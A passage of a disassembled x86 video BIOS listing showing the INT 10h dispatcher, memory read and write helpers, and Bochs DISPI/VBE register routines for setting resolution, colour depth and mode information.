c3 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, dx ; 01 d2 add dx, strict byte 00050h ; 83 c2 50 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 27 01 inc cx ; 41 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 0306eh ; eb dc mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 0b 01 mov bx, ax ; 89 c3 mov dx, strict word 0004eh ; ba 4e 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 0e 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 db 00 mov dl, al ; 88 c2 xor dh, dh ; 30 f6 mov bx, dx ; 89 d3 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 da 00 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 e0 00 mov bx, ax ; 89 c3 mov dx, strict word 0007ch ; ba 7c 00 xor ax, ax ; 31 c0 call 031b2h ; e8 e4 00 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 cd 00 mov bx, ax ; 89 c3 mov dx, strict word 0007eh ; ba 7e 00 xor ax, ax ; 31 c0 call 031b2h ; e8 d1 00 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 ba 00 mov bx, ax ; 89 c3 mov dx, 0010ch ; ba 0c 01 xor ax, ax ; 31 c0 call 031b2h ; e8 be 00 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 a7 00 mov bx, ax ; 89 c3 mov dx, 0010eh ; ba 0e 01 xor ax, ax ; 31 c0 call 031b2h ; e8 ab 00 inc cx ; 41 inc cx ; 41 test byte [bp-00eh], 004h ; f6 46 f2 04 je short 03156h ; 74 47 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 71 00 xor ah, ah ; 30 e4 mov word [bp-008h], ax ; 89 46 f8 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 64 00 mov dx, 003c6h ; ba c6 03 out DX, AL ; ee inc cx ; 41 xor al, al ; 30 c0 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee xor ah, ah ; 30 e4 mov word [bp-00ah], ax ; 89 46 f6 jmp short 0313dh ; eb 07 cmp word [bp-00ah], 00300h ; 81 7e f6 00 03 jnc short 0314eh ; 73 11 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 44 00 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 03136h ; eb e8 inc cx ; 41 mov al, byte [bp-008h] ; 8a 46 f8 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee mov ax, cx ; 89 c8 lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 find_vga_entry_: ; 0xc3160 LB 0x28 push bx ; 53 push dx ; 52 push bp ; 55 mov bp, sp ; 89 e5 mov dl, al ; 88 c2 mov AH, strict byte 0ffh ; b4 ff xor al, al ; 30 c0 jmp short 03173h ; eb 06 db 0feh, 0c0h ; inc al ; fe c0 cmp AL, strict byte 00fh ; 3c 0f jnbe short 03182h ; 77 0f mov bl, al ; 88 c3 xor bh, bh ; 30 ff sal bx, 003h ; c1 e3 03 cmp dl, byte [bx+0462fh] ; 3a 97 2f 46 jne short 0316dh ; 75 ed mov ah, al ; 88 c4 mov al, ah ; 88 e0 pop bp ; 5d pop dx ; 5a pop bx ; 5b retn ; c3 read_byte_: ; 0xc3188 LB 0xe push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bx, dx ; 89 d3 mov es, ax ; 8e c0 mov al, byte [es:bx] ; 26 8a 07 pop bp ; 5d pop bx ; 5b retn ; c3 write_byte_: ; 0xc3196 LB 0xe push si ; 56 push bp ; 55 mov bp, sp ; 89 e5 mov si, dx ; 89 d6 mov es, ax ; 8e c0 mov byte [es:si], bl ; 26 88 1c pop bp ; 5d pop si ; 5e retn ; c3 read_word_: ; 0xc31a4 LB 0xe push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bx, dx ; 89 d3 mov es, ax ; 8e c0 mov ax, word [es:bx] ; 26 8b 07 pop bp ; 5d pop bx ; 5b retn ; c3 write_word_: ; 0xc31b2 LB 0xe push si ; 56 push bp ; 55 mov bp, sp ; 89 e5 mov si, dx ; 89 d6 mov es, ax ; 8e c0 mov word [es:si], bx ; 26 89 1c pop bp ; 5d pop si ; 5e retn ; c3 read_dword_: ; 0xc31c0 LB 0x12 push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 mov bx, dx ; 89 d3 mov es, ax ; 8e c0 mov ax, word [es:bx] ; 26 8b 07 mov dx, word [es:bx+002h] ; 26 8b 57 02 pop bp ; 5d pop bx ; 5b retn ; c3 write_dword_: ; 0xc31d2 LB 0x96 push si ; 56 push bp ; 55 mov bp, sp ; 89 e5 mov si, dx ; 89 d6 mov es, ax ; 8e c0 mov word [es:si], bx ; 26 89 1c mov word [es:si+002h], cx ; 26 89 4c 02 pop bp ; 5d pop si ; 5e retn ; c3 dec di ; 4f sbb AL, strict byte 01bh ; 1c 1b adc dx, word [bp+si] ; 13 12 adc word [bx+si], dx ; 11 10 push CS ; 0e or ax, 00a0ch ; 0d 0c 0a or word [bx+si], cx ; 09 08 pop ES ; 07 push ES ; 06 add ax, 00304h ; 05 04 03 add al, byte [bx+di] ; 02 01 add cl, dh ; 00 f1 xor ax, 03299h ; 35 99 32 db 0d6h db 032h, 0e9h ; xor ch, cl ; 32 e9 db 032h, 0f9h ; xor bh, cl ; 32 f9 xor cl, byte [si] ; 32 0c xor bx, word [si] ; 33 1c xor sp, word [bp+di] ; 33 23 xor bx, word [bp+di+033h] ; 33 5b 33 pop di ; 5f xor si, word [bx+si+033h] ; 33 70 33 mov si, word [bp+di] ; 8b 33 cmpsb ; a6 xor di, word [bp-024cdh] ; 33 be 33 db db 033h, 0efh ; xor bp, di ; 33 ef db 033h, 0fbh ; xor di, bx ; 33 fb xor si, word [bp+si-018cch] ; 33 b2 34 e7 xor AL, strict byte 018h ; 34 18 xor ax, 0352dh ; 35 2d 35 push strict byte 00035h ; 6a 35 xor byte [si], ah ; 30 24 and sp, word [bp+si] ; 23 22 and word [bx+si], sp ; 21 20 adc AL, strict byte 012h ; 14 12 adc word [bx+si], dx ; 11 10 add AL, strict byte 002h ; 04 02 add word [bx+si], ax ; 01 00 db 0f1h xor ax, 03418h ; 35 18 34 cmp word [si], si ; 39 34 dec ax ; 48 xor AL, strict byte 057h ; 34 57 xor AL, strict byte 018h ; 34 18 xor AL, strict byte 039h ; 34 39 xor AL, strict byte 048h ; 34 48 xor AL, strict byte 057h ; 34 57 xor AL, strict byte 066h ; 34 66 xor AL, strict byte 072h ; 34 72 xor AL, strict byte 08bh ; 34 8b xor AL, strict byte 090h ; 34 90 xor AL, strict byte 095h ; 34 95 xor AL, strict byte 09ah ; 34 9a xor AL, strict byte 00ah ; 34 0a or word [00204h], ax ; 09 06 04 02 add word [bx+si], ax ; 01 00 in ax, 035h ; e5 35 nop ; 90 xor ax, 0359dh ; 35 9d 35 lodsw ; ad xor ax, 035bdh ; 35 bd 35 db 0d2h, 035h ; sal byte [di], CL ; d2 35 in ax, 035h ; e5 35 in ax, 035h ; e5 35 _int10_func: ; 0xc3268 LB 0x390 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 mov si, word [bp+004h] ; 8b 76 04 mov ax, word [bp+012h] ; 8b 46 12 shr ax, 008h ; c1 e8 08 cmp ax, strict word 0004fh ; 3d 4f 00 jnbe short 032e6h ; 77 6a push CS ; 0e pop ES ; 07 mov cx, strict word 00016h ; b9 16 00 mov di, 031e4h ; bf e4 31 repne scasb ; f2 ae sal cx, 1 ; d1 e1 mov di, cx ; 89 cf mov bx, word [cs:di+031f9h] ; 2e 8b 9d f9 31 mov ax, word [bp+012h] ; 8b 46 12 xor ah, ah ; 30 e4 mov dl, byte [bp+012h] ; 8a 56 12 jmp bx ; ff e3 mov al, byte [bp+012h] ; 8a 46 12 xor ah, ah ; 30 e4 call 0101ch ; e8 7b dd mov ax, word [bp+012h] ; 8b 46 12 and ax, strict word 0007fh ; 25 7f 00 cmp ax, strict word 00007h ; 3d 07 00 je short 032c1h ; 74 15 cmp ax, strict word 00006h ; 3d 06 00 je short 032b8h ; 74 07 cmp ax, strict word 00005h ; 3d 05 00 jbe short 032c1h ; 76 0b jmp short 032cah ; eb 12 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 03fh ; 0c 3f jmp short 032d1h ; eb 10 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 030h ; 0c 30 jmp short 032d1h ; eb 07 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 020h ; 0c 20 mov word [bp+012h], ax ; 89 46 12 jmp short 032e6h ; eb 10 mov al, byte [bp+010h] ; 8a 46 10 mov dx, ax ; 89 c2 mov ax, word [bp+010h] ; 8b 46 10 shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00dcbh ; e8 e5 da jmp near 035f1h ; e9 08 03 mov dx, word [bp+00eh] ; 8b 56 0e mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00e79h ; e8 82 db jmp short 032e6h ; eb ed lea bx, [bp+00eh] ; 8d 5e 0e lea dx, [bp+010h] ; 8d 56 10 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00a8bh ; e8 81 d7 jmp short 032e6h ; eb da xor al, al ; 30 c0 mov word [bp+012h], ax ; 89 46 12 mov word [bp+00ch], ax ; 89 46 0c mov word [bp+010h], ax ; 89 46 10 mov word [bp+00eh], ax ; 89 46 0e jmp short 032e6h ; eb ca mov al, dl ; 88 d0 call 00f2eh ; e8 0d dc jmp short 032e6h ; eb c3 mov ax, strict word 00001h ; b8 01 00 push ax ; 50 mov ax, 000ffh ; b8 ff 00 push ax ; 50 mov al, byte [bp+00eh] ; 8a 46 0e xor ah, ah ; 30 e4 push ax ; 50 mov ax, word [bp+00eh] ; 8b 46 0e shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+010h] ; 8a 46 10 mov cx, ax ; 89 c1 mov ax, word [bp+010h] ; 8b 46 10 shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+012h] ; 8a 46 12 call 0166ah ; e8 11 e3 jmp short 032e6h ; eb 8b xor al, al ; 30 c0 jmp short 03326h ; eb c7 lea dx, [bp+012h] ; 8d 56 12 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 00ad1h ; e8 64 d7 jmp near 035f1h ; e9 81 02 mov cx, word [bp+010h] ; 8b 4e 10 mov al, byte [bp+00ch] ; 8a 46 0c mov bx, ax ; 89 c3 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+012h] ; 8a 46 12 call 01ea1h ; e8 19 eb jmp near 035f1h ; e9 66 02 mov cx, word [bp+010h] ; 8b 4e 10 mov al, byte [bp+00ch] ; 8a 46 0c mov bx, ax ; 89 c3 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+012h] ; 8a 46 12 call 0202eh ; e8 8b ec jmp near 035f1h ; e9 4b 02 mov cx, word [bp+00eh] ; 8b 4e 0e mov bx, word [bp+010h] ; 8b 5e 10 mov al, dl ; 88 d0 mov dx, ax ; 89 c2 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 call 021c4h ; e8 09 ee jmp near 035f1h ; e9 33 02 lea cx, [bp+012h] ; 8d 4e 12 mov bx, word [bp+00eh] ; 8b 5e 0e mov dx, word [bp+010h] ; 8b 56 10 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 mov word [bp-006h], ax ; 89 46 fa mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 call 00bfch ; e8 24 d8 jmp near 035f1h ; e9 16 02 mov cx, strict word 00002h ; b9 02 00 mov al, byte [bp+00ch] ; 8a 46 0c mov bx, ax ; 89 c3 mov dx, 000ffh ; ba ff 00 mov al, byte [bp+012h] ; 8a 46 12 call 0233fh ; e8 53 ef jmp near 035f1h ; e9 02 02 mov dx, word [bp+010h] ; 8b 56 10 mov ax, word [bp+00ch] ; 8b 46 0c call 00d3eh ; e8 46 d9 jmp near 035f1h ; e9 f6 01 cmp ax, strict word 00030h ; 3d 30 00 jnbe short 0346fh ; 77 6f push CS ; 0e pop ES ; 07 mov cx, strict word 0000fh ; b9 0f 00 mov di, 03225h ; bf 25 32 repne scasb ; f2 ae sal cx, 1 ; d1 e1 mov di, cx ; 89 cf mov dx, word [cs:di+03233h] ; 2e 8b 95 33 32 mov al, byte [bp+00ch] ; 8a 46 0c jmp dx ; ff e2 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+00ch] ; 8a 46 0c push ax ; 50 push word [bp+00eh] ; ff 76 0e mov al, byte [bp+012h] ; 8a 46 12 mov cx, word [bp+010h] ; 8b 4e 10 mov bx, word [bp+008h] ; 8b 5e 08 mov dx, word [bp+016h] ; 8b 56 16 call 026d8h ; e8 a1 f2 jmp short 0346fh ; eb 36 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+012h] ; 8a 46 12 call 02758h ; e8 12 f3 jmp short 0346fh ; eb 27 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+012h] ; 8a 46 12 call 027c6h ; e8 71 f3 jmp short 0346fh ; eb 18 mov al, byte [bp+00ch] ; 8a 46 0c xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp+012h] ; 8a 46 12 call 02836h ; e8 d2 f3 jmp short 0346fh ; eb 09 mov dx, word [bp+008h] ; 8b 56 08 mov ax, word [bp+016h] ; 8b 46 16 call 028a6h ; e8 37 f4 jmp near 035f1h ; e9 7f 01 mov al, byte [bp+00eh] ; 8a 46 0e push ax ; 50 mov al, byte [bp+00ch] ; 8a 46 0c mov bx, word [bp+010h] ; 8b 5e 10 mov dx, word [bp+008h] ; 8b 56 08 mov si, word [bp+016h] ; 8b 76 16 mov cx, ax ; 89 c1 mov ax, si ; 89 f0 call 028abh ; e8 22 f4 jmp short 0346fh ; eb e4 call 028b2h ; e8 24 f4 jmp short 0346fh ; eb df call 028b7h ; e8 24 f4 jmp short 0346fh ; eb da call 028bch ; e8 24 f4 jmp short 0346fh ; eb d5 lea ax, [bp+00eh] ; 8d 46 0e push ax ; 50 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 lea cx, [bp+010h] ; 8d 4e 10 lea bx, [bp+008h] ; 8d 5e 08 lea dx, [bp+016h] ; 8d 56 16 call 00b81h ; e8 d1 d6 jmp short 0346fh ; eb bd mov ax, word [bp+00ch] ; 8b 46 0c xor ah, ah ; 30 e4 cmp ax, strict word 00036h ; 3d 36 00 je short 034e0h ; 74 24 cmp ax, strict word 00035h ; 3d 35 00 je short 034cbh ; 74 0a cmp ax, strict word 00020h ; 3d 20 00 jne short 03515h ; 75 4f call 028c1h ; e8 f8 f3 jmp short 03515h ; eb 4a mov al, dl ; 88 d0 mov bx, word [bp+00eh] ; 8b 5e 0e mov dx, word [bp+016h] ; 8b 56 16 call 028c6h ; e8 f0 f3 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 012h ; 0c 12 jmp near 032d1h ; e9 f1 fd mov al, dl ; 88 d0 call 028cbh ; e8 e6 f3 jmp short 034d6h ; eb ef push word [bp+008h] ; ff 76 08 push word [bp+016h] ; ff 76 16 mov al, byte [bp+00eh] ; 8a 46 0e push ax ; 50 mov ax, word [bp+00eh] ; 8b 46 0e shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp+00ch] ; 8a 46 0c mov bx, ax ; 89 c3 mov ax, word [bp+00ch] ; 8b 46 0c shr ax, 008h ; c1 e8 08 xor ah, ah ; 30 e4 xor dh, dh ; 30 f6 mov si, dx ; 89 d6 mov cx, word [bp+010h] ; 8b 4e 10 mov dx, ax ; 89 c2 mov ax, si ; 89 f0 call 028d0h ; e8 bb f3 jmp near 035f1h ; e9 d9 00 mov bx, si ; 89 f3 mov dx, word [bp+016h] ; 8b 56 16 mov ax, word [bp+00ch] ; 8b 46 0c call 02972h ; e8 4f f4 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 01bh ; 0c 1b jmp near 032d1h ; e9 a4 fd cmp ax, strict word 00002h ; 3d 02 00 je short 03554h ; 74 22 cmp ax, strict word 00001h ; 3d 01 00 je short 03546h ; 74 0f test ax, ax ; 85 c0 jne short 03560h ; 75 25 lea dx, [bp+00ch] ; 8d 56 0c mov ax, word [bp+010h] ; 8b 46 10 call 02a97h ; e8 53 f5 jmp short 03560h ; eb 1a mov bx, word [bp+00ch] ; 8b 5e 0c mov dx, word [bp+016h] ; 8b 56 16 mov ax, word [bp+010h] ; 8b 46 10 call 02aa9h ; e8 57 f5 jmp short 03560h ; eb 0c mov bx, word [bp+00ch] ; 8b 5e 0c mov dx, word [bp+016h] ; 8b 56 16 mov ax, word [bp+010h] ; 8b 46 10 call 02e2ah ; e8 ca f8 mov ax, word [bp+012h] ; 8b 46 12 xor al, al ; 30 c0 or AL, strict byte 01ch ; 0c 1c jmp near 032d1h ; e9 67 fd call 007bfh ; e8 52 d2 test ax, ax ; 85 c0 je short 035e3h ; 74 72 mov ax, word [bp+012h] ; 8b 46 12 xor ah, ah ; 30 e4 cmp ax, strict word 0000ah ; 3d 0a 00 jnbe short 035e5h ; 77 6a push CS ; 0e pop ES ; 07 mov cx, strict word 00008h ; b9 08 00 mov di, 03251h ; bf 51 32 repne scasb ; f2 ae sal cx, 1 ; d1 e1 mov di, cx ; 89 cf mov ax, word [cs:di+03258h] ; 2e 8b 85 58 32 jmp ax ; ff e0 mov bx, si ; 89 f3 mov dx, word [bp+016h] ; 8b 56 16 lea ax, [bp+012h] ; 8d 46 12 call 037adh ; e8 12 02 jmp short 035f1h ; eb 54 mov cx, si ; 89 f1 mov bx, word [bp+016h] ; 8b 5e 16 mov dx, word [bp+010h] ; 8b 56 10 lea ax, [bp+012h] ; 8d 46 12 call 038dch ; e8 31 03 jmp short 035f1h ; eb 44 mov cx, si ; 89 f1 mov bx, word [bp+016h] ; 8b 5e 16 mov dx, word [bp+00ch] ; 8b 56 0c lea ax, [bp+012h] ; 8d 46 12 call 03999h ; e8 de 03 jmp short 035f1h ; eb 34 lea ax, [bp+00ch] ; 8d 46 0c push ax ; 50 mov cx, word [bp+016h] ; 8b 4e 16 mov bx, word [bp+00eh] ; 8b 5e 0e mov dx, word [bp+010h] ; 8b 56 10 lea ax, [bp+012h] ; 8d 46 12 call 03b82h ; e8 b2 05 jmp short 035f1h ; eb 1f lea cx, [bp+00eh] ; 8d 4e 0e lea bx, [bp+010h] ; 8d 5e 10 lea dx, [bp+00ch] ; 8d 56 0c lea ax, [bp+012h] ; 8d 46 12 call 03c0eh ; e8 2d 06 jmp short 035f1h ; eb 0e jmp short 035ech ; eb 07 mov word [bp+012h], 00100h ; c7 46 12 00 01 jmp short 035f1h ; eb 05 mov word [bp+012h], 00100h ; c7 46 12 00 01 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 dispi_set_xres_: ; 0xc35f8 LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00001h ; b8 01 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 68 cf mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 60 cf lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 dispi_set_yres_: ; 0xc3617 LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00002h ; b8 02 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 49 cf mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 41 cf lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 dispi_get_yres_: ; 0xc3636 LB 0x19 push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, strict word 00002h ; b8 02 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 2d cf mov dx, 001cfh ; ba cf 01 call 00577h ; e8 2e cf lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 dispi_set_bpp_: ; 0xc364f LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00003h ; b8 03 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 11 cf mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 09 cf lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 dispi_get_bpp_: ; 0xc366e LB 0x19 push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, strict word 00003h ; b8 03 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 f5 ce mov dx, 001cfh ; ba cf 01 call 00577h ; e8 f6 ce lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 dispi_set_virt_width_: ; 0xc3687 LB 0x1f push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 mov ax, strict word 00006h ; b8 06 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 d9 ce mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 d1 ce lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 dispi_get_virt_width_: ; 0xc36a6 LB 0x19 push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, strict word 00006h ; b8 06 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 bd ce mov dx, 001cfh ; ba cf 01 call 00577h ; e8 be ce lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 dispi_get_virt_height_: ; 0xc36bf LB 0x19 push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov ax, strict word 00007h ; b8 07 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 a4 ce mov dx, 001cfh ; ba cf 01 call 00577h ; e8 a5 ce lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 in_word_: ; 0xc36d8 LB 0x12 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 mov bx, ax ; 89 c3 mov ax, dx ; 89 d0 mov dx, bx ; 89 da out DX, ax ; ef in ax, DX ; ed lea sp, [bp-002h] ; 8d 66 fe pop bx ; 5b pop bp ; 5d retn ; c3 in_byte_: ; 0xc36ea LB 0x14 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 mov bx, ax ; 89 c3 mov ax, dx ; 89 d0 mov dx, bx ; 89 da out DX, ax ; ef in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 lea sp, [bp-002h] ; 8d 66 fe pop bx ; 5b pop bp ; 5d retn ; c3 dispi_get_id_: ; 0xc36fe LB 0x14 push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 xor ax, ax ; 31 c0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, 001cfh ; ba cf 01 in ax, DX ; ed lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 dispi_set_id_: ; 0xc3712 LB 0x1a push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov bx, ax ; 89 c3 xor ax, ax ; 31 c0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov ax, bx ; 89 d8 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 vbe_init_: ; 0xc372c LB 0x2c push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push dx ; 52 mov ax, 0b0c0h ; b8 c0 b0 call 03712h ; e8 db ff call 036feh ; e8 c4 ff cmp ax, 0b0c0h ; 3d c0 b0 jne short 03751h ; 75 12 mov bx, strict word 00001h ; bb 01 00 mov dx, 000b9h ; ba b9 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 4b fa mov ax, 0b0c4h ; b8 c4 b0 call 03712h ; e8 c1 ff lea sp, [bp-004h] ; 8d 66 fc pop dx ; 5a pop bx ; 5b pop bp ; 5d retn ; c3 mode_info_find_mode_: ; 0xc3758 LB 0x55 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 mov di, ax ; 89 c7 mov si, dx ; 89 d6 xor dx, dx ; 31 d2 mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 6d ff cmp ax, 077cch ; 3d cc 77 jne short 037a2h ; 75 32 mov bx, strict word 00004h ; bb 04 00 mov dx, bx ; 89 da mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 5d ff mov cx, ax ; 89 c1 cmp cx, strict byte 0ffffh ; 83 f9 ff je short 037a2h ; 74 20 lea dx, [bx+002h] ; 8d 57 02 mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 4d ff lea dx, [bx+044h] ; 8d 57 44 cmp cx, di ; 39 f9 jne short 0379eh ; 75 0c test si, si ; 85 f6 jne short 0379ah ; 75 04 mov ax, bx ; 89 d8 jmp short 037a4h ; eb 0a test AL, strict byte 080h ; a8 80 jne short 03796h ; 75 f8 mov bx, dx ; 89 d3 jmp short 03775h ; eb d3 xor ax, ax ; 31 c0 lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vbe_biosfn_return_controller_information_: ; 0xc37ad LB 0x12f push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov si, ax ; 89 c6 mov di, dx ; 89 d7 mov word [bp-00ah], bx ; 89 5e f6 mov word [bp-00ch], strict word 00022h ; c7 46 f4 22 00 call 005b7h ; e8 f2 cd mov word [bp-010h], ax ; 89 46 f0 mov bx, word [bp-00ah] ; 8b 5e f6 mov word [bp-008h], di ; 89 7e f8 xor dx, dx ; 31 d2 mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 02 ff cmp ax, 077cch ; 3d cc 77 je short 037e5h ; 74 0a push SS ; 16 pop ES ; 07 mov word [es:si], 00100h ; 26 c7 04 00 01 jmp near 038d4h ; e9 ef 00 mov cx, strict word 00004h ; b9 04 00 mov word [bp-00eh], strict word 00000h ; c7 46 f2 00 00 mov es, [bp-008h] ; 8e 46 f8 cmp word [es:bx+002h], 03245h ; 26 81 7f 02 45 32 jne short 037ffh ; 75 07 cmp word [es:bx], 04256h ; 26 81 3f 56 42 je short 0380eh ; 74 0f cmp word [es:bx+002h], 04153h ; 26 81 7f 02 53 41 jne short 03813h ; 75 0c cmp word [es:bx], 04556h ; 26 81 3f 56 45 jne short 03813h ; 75 05 mov word [bp-00eh], strict word 00001h ; c7 46 f2 01 00 mov es, [bp-008h] ; 8e 46 f8 mov word [es:bx], 04556h ; 26 c7 07 56 45 mov word [es:bx+002h], 04153h ; 26 c7 47 02 53 41 mov word [es:bx+004h], 00200h ; 26 c7 47 04 00 02 mov word [es:bx+006h], 07c66h ; 26 c7 47 06 66 7c mov [es:bx+008h], ds ; 26 8c 5f 08 mov word [es:bx+00ah], strict word 00001h ; 26 c7 47 0a 01 00 mov word [es:bx+00ch], strict word 00000h ; 26 c7 47 0c 00 00 mov word [es:bx+010h], di ; 26 89 7f 10 mov ax, word [bp-00ah] ; 8b 46 f6 add ax, strict word 00022h ; 05 22 00 mov word [es:bx+00eh], ax ; 26 89 47 0e mov dx, strict word 0ffffh ; ba ff ff mov ax, 003b6h ; b8 b6 03 call 036d8h ; e8 84 fe mov es, [bp-008h] ; 8e 46 f8 mov word [es:bx+012h], ax ; 26 89 47 12 cmp word [bp-00eh], strict byte 00000h ; 83 7e f2 00 je short 03885h ; 74 24 mov word [es:bx+014h], strict word 00003h 